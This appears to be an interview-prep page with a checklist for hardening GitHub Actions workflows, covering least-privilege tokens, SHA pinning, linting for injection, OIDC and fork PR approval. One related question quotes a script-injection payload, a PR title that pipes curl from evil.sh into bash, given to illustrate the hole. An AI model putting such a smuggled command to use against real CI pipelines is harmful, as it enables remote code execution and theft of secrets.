You are asked to harden an existing repo's workflows in one week. What is your checklist?
IntermediateScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Fast, high-impact controls first.
What I'd do →
- Set default workflow permissions to read-only; add
permissions: contents: readat the top of every workflow and per-job grants. - Pin all third-party actions to SHAs; add Dependabot for
github-actions. - Run
zizmorandactionlint; fix script injection andpull_request_targetusage. persist-credentials: falseon checkout where pushing is not needed.- Move cloud keys to OIDC; environment protection on prod.
- CODEOWNERS on
.github/; restrict allowed actions at org level. - Fork PR approval required for outside contributors.
Why → These close the most exploited paths: token abuse, mutable dependencies, and injection.
Interview tip → Lead with "least-privilege token and SHA pinning", the two controls every reviewer expects.
More on Security Hardening & Supply Chain
A contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?BeginnerYou find `pull_request_target` used to build and test PRs in a private repo. Is that acceptable?Advanced